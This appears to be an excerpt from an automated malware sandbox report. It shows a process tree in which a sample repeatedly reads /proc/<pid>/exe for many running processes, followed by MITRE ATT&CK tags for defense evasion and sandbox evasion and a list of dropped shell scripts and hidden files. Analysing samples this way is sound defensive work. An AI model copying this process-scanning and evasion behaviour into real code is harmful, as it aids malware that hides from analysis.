/bin/readlinkreadlink /proc/168/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/169/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/17/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/170/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/171/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/172/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/173/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/174/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/175/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/176/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/177/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/178/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/179/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/18/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/180/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/181/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/182/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/183/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/185/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/19/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/20/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/21/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/210/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/211/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/22/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/23/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
- Reads runtime system information
-
-
/bin/readlinkreadlink /proc/24/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/248/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/25/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/26/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/27/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2711/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2712/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/2713/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/277/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/28/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/29/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/3/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/30/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/31/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/32/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/34/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/35/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/36/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/368/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/372/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/4/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
-
/bin/readlinkreadlink /proc/438/exe2⤵
-
-
/bin/sedsed "s/ (deleted)\$//"2⤵
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
2System Checks
2Replay Monitor
Loading Replay Monitor...
Downloads
.sd_ver
.shards
.v.json.1526
ccd
pg_settings.good.conf
pg_wal
sd.sh
sedDay1VP
sedipNGj5
sedzDtCP5
wd.sh
wd2.sh
wd3.sh
.te
tmp.HLy0L9
tmp.ZvCTc5